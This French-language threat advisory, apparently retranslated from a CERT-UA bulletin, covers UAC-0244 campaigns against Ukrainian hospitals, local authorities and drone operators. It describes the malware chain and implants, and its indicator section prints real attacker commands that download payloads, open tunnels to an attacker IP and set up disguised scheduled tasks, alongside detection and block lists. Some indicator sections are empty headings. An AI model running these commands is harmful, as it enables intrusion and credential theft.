UAC-0244 (ex UAC-0247) : intensification des opérations contre les hôpitaux, les collectivités locales et les opérateurs FPV ukrainiens

1. Contexte et fusion des clusters

Le CERT-UA précise que l’activité décrite initialement comme cluster distinct UAC-0247 est en réalité conduite par les acteurs précédemment suivis sous l’identifiant UAC-0244. Le suivi unifié des campagnes associées s’effectue désormais sous le seul identifiant UAC-0244. Les indicateurs de compromission historiquement attribués à UAC-0244 sont conservés et ajoutés en annexe du bulletin.

2. Cibles observées

• Établissements hospitaliers communaux, principalement hôpitaux cliniques et services d’urgence médicale.
• Organes de l’administration locale en Ukraine.
• Forces de défense ukrainiennes, en particulier les opérateurs FPV ciblés via une version compromise de l’application BACHU.

3. Vecteur initial

L’amorce de la chaîne d’attaque repose sur des échanges de courriers électroniques présentés comme une discussion préliminaire autour d’un projet d’aide humanitaire. Au cours de l’échange, l’attaquant invite la cible à consulter un lien. Pour renforcer la crédibilité de la légende, deux variantes sont observées :

• Mise en place d’un site web fictif représentant une organisation humanitaire, dont le contenu peut être généré à l’aide d’outils d’IA.
• Chargement d’un script tiers depuis un site légitime présentant une vulnérabilité de type XSS (Cross-Site Scripting).

Chaîne d’infection technique

Le clic sur le lien déclenche le téléchargement d’une archive contenant un fichier .lnk. Son ouverture provoque l’exécution de mshta.exe, qui récupère et exécute un fichier HTA distant. Ce HTA assure deux fonctions :

• Affichage d’un formulaire leurre cohérent avec le prétexte humanitaire ou judiciaire.
• Téléchargement d’un binaire EXE et création d’une scheduled task pour assurer la persistance et l’exécution récurrente.

L’EXE déployé réalise une injection de shellcode dans un processus légitime, par exemple RuntimeBroker.exe. Les campagnes les plus récentes utilisent un loader en deux étapes, dont la seconde s’appuie sur un format de fichier exécutable propriétaire (sections code et données, gestion des imports DLL et relocations) ; le payload final est compressé et chiffré. Les stagers observés incluent un TCP reverse shell standard ainsi qu’une variante interne classifiée RAVENSHELL.

4. Arsenal logiciel

AGINGFLY

Implant développé en C#, dédié au contrôle à distance des postes compromis. Fonctionnalités principales : exécution de commandes, transfert de fichiers, captures d’écran, keylogging et exécution de code arbitraire. La communication avec l’infrastructure C2 utilise des WebSockets, le trafic étant additionnellement chiffré en AES-CBC avec une clé statique. Particularité notable : les handlers de commandes ne sont pas implémentés en dur dans le binaire, mais téléchargés depuis le serveur de commande sous forme de code source puis compilés dynamiquement.

RAVENSHELL

Variante de TCP reverse shell établissant une connexion vers le serveur C2, avec chiffrement du trafic via une clé XOR de 9 octets 01 01 02 03 74 15 04 FF EE. Lors de la première connexion, le client envoie le message chiffré par XOR Connected!. L’exécution des commandes reçues s’appuie sur cmd.exe.

SILENTLOOP

Script PowerShell assurant la persistance, l’exécution de commandes, l’autoupdate de configuration et la résolution dynamique de l’adresse IP du C2. La source primaire d’adresse C2 est un canal Telegram, complétée par des mécanismes de fallback. SILENTLOOP est typiquement déployé en parallèle d’AGINGFLY pour assurer un foothold redondant.

CHROMELEVATOR

Outil dédié à l’extraction de credentials et de données de session depuis les navigateurs Chromium. Échantillons observés en versions x64 et arm64.

ZAPIXDESK

Composant ciblant le messager WhatsApp Desktop pour l’exfiltration de conversations et données associées. Implémenté sous forme de script PowerShell.

LIGOLO-NG, CHISEL, RUSTSCAN

Outils publics utilisés pour la découverte réseau, le scan de sous-réseaux et l’établissement de tunnels chiffrés permettant les mouvements latéraux. Des scanners maison plus rudimentaires ont également été observés en complément.

XMRIG via WIREGUARD patché

Dans un cas, un mineur XMRIG a été déployé sous forme de DLL chargée par un binaire WireGuard légitime modifié (DLL side-loading). Cette technique combine monétisation et détournement d’un binaire signé.

5. Opération contre les opérateurs FPV (BACHU)

Le 10.03.2026, un partenaire d’échange d’informations a signalé au CERT-UA la diffusion via Signal d’une prétendue mise à jour de l’application BACHU, destinée aux opérateurs de drones FPV des Forces de défense ukrainiennes. L’archive bachu.zip contenait un binaire principal et une bibliothèque DLL malveillante. Au lancement, la DLL était chargée par DLL side-loading et provoquait le déploiement d’AGINGFLY sur le poste de la victime. Cette opération illustre l’extension des cibles de UAC-0244 au domaine militaire opérationnel.

6. Réduction de la surface d’attaque

Le CERT-UA rappelle que la majorité des chaînes d’infection observées peut être neutralisée par des mesures durcies de configuration des postes Windows :

• Restriction de l’exécution des fichiers .lnk, .hta et .js depuis les contextes utilisateurs (téléchargements, archives, répertoires temporaires).
• Restriction de l’exécution des binaires LOLBins fréquemment abusés : mshta.exe, powershell.exe, wscript.exe.
• Activation de Attack Surface Reduction (ASR) et application de règles de blocage des macros, scripts obfusqués et child processes lancés par Office.
• Surveillance des créations de scheduled tasks pointant vers des chemins utilisateurs (%APPDATA%, %LOCALAPPDATA%, %PROGRAMDATA%).
• Détection des connexions sortantes vers les domaines en .linkpc.net, .work.gd, .publicvm.com et autres services de DNS dynamique fréquemment instrumentés par UAC-0244.

7. Indicateurs de compromission – UAC-0247 (désormais UAC-0244)

7.1 Hashs de fichiers (MD5 / SHA-256 / nom)

7.2 Indicateurs hôte

7.3 Commandes et scheduled tasks observées

schtasks /Create /SC MINUTE /MO 10 /TN "Adobe Acrobat Updater" /TR "%LOCALAPPDATA%\Adobe\AdobeUpdater.exe" /F
cmd /c cd /d %PROGRAMDATA%\Microsoft\Windows\ && conhost --headless %PROGRAMDATA%\Microsoft\Windows\chromelevator_x64.exe
cmd /c curl hXXps://ukrvarta.online/court/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe
cmd /c curl hXXps://ukrvarta.online/dopomoga/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe
cmd /c schtasks /create /tn "OneDrive Updater" /tr "%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe" /sc MINUTE /mo 10 /ru "%USERNAME%"
conhost --headless %PROGRAMDATA%\Adobe\ligolo.exe -connect 109.237.97.43:11601 -ignore-cert
conhost --headless powershell -ep bypass -f %PROGRAMDATA%\AMD\amd.ps1
conhost.exe --headless %PROGRAMDATA%\Microsoft\Windows\agent.exe -connect 109.237.97.43:11601 -ignore-cert
mshta.exe hXXps://ukrvarta.online/court/notification.hta
cmd /c curl hXXps://nazk.linkpc.net/nazk/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe
cmd /c curl hXXps://dsszzi.linkpc.net/OneDriveUpdater.exe -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe
cmd /c curl hXXps://edbo.work.gd/DocViewer.exe -o %LOCALAPPDATA%\DocViewer\DocViewer.exe
cmd.exe /c curl hXXps://declaration.linkpc.net/DocViewer.exe -o %LOCALAPPDATA%\DocViewer\DocViewer.exe

Scheduled tasks récurrentes : AMD Updater, AMD checker, AMD-DispUpdate, OneDrive Updater, OneDriveUpdater, microsoft running, Adobe Acrobat Updater, DocViewer, LzUpdater, Microsoft System Health Service, Scheduled Update.

Artefacts LNK :

• MachineID : desktop-pmqujnk, desktop-f3fq5qo
• DriveSerialNumber : 1497-1227, 7C83-E6CD

Chemins PDB observés :

• C:\Users\Dan\Desktop\work\sqlite\bld\sqlite_bld_dir\2\sqlite3sh.pdb
• C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb

7.4 Indicateurs réseau

8. Indicateurs historiques associés à UAC-0244

Les indicateurs ci-dessous, antérieurs à la fusion des deux clusters, restent attribués à UAC-0244 et sont publiés à titre de référence pour la consolidation des règles de détection.

8.1 Hashs (extrait)

8.2 Indicateurs hôte (UAC-0244 historique)

8.3 Indicateurs réseau (UAC-0244 historique)

9. Recommandations opérationnelles

• Hunting prioritaire : recherche d’exécution de mshta.exe avec argument URL (hXXps://*.linkpc.net, hXXps://*.work.gd), powershell.exe avec -ep bypass sur scripts situés dans %APPDATA%\Adobe, %PROGRAMDATA%\AMD.
• EDR / SIEM : intégration des hashs et chemins ci-dessus dans les règles de détection ; alerter sur la création de scheduled tasks dont la cible réside dans un répertoire utilisateur.
• Réseau : blocage des domaines, IP et URLs publiés, en particulier les services de DNS dynamique (linkpc.net, work.gd, publicvm.com) et l’infrastructure d’OAST (oast.fun) lorsqu’elle n’est pas justifiée par un usage légitime de red team.
• Sensibilisation : rappel ciblé auprès des agents administratifs et hospitaliers sur les leurres liés à l’aide humanitaire, aux convocations judiciaires et aux conférences professionnelles.
• Chaîne logicielle FPV : toute mise à jour de l’application BACHU diffusée hors canal officiel doit être traitée comme suspecte par défaut.

10. Source

Bulletin officiel CERT-UA, mis à jour le 20.04.2026 :

Article retraduit et mis en forme à partir du bulletin CERT-UA. Diffusion TLP:CLEAR. L’attribution finale du cluster UAC-0244 reste à la discrétion du CERT-UA.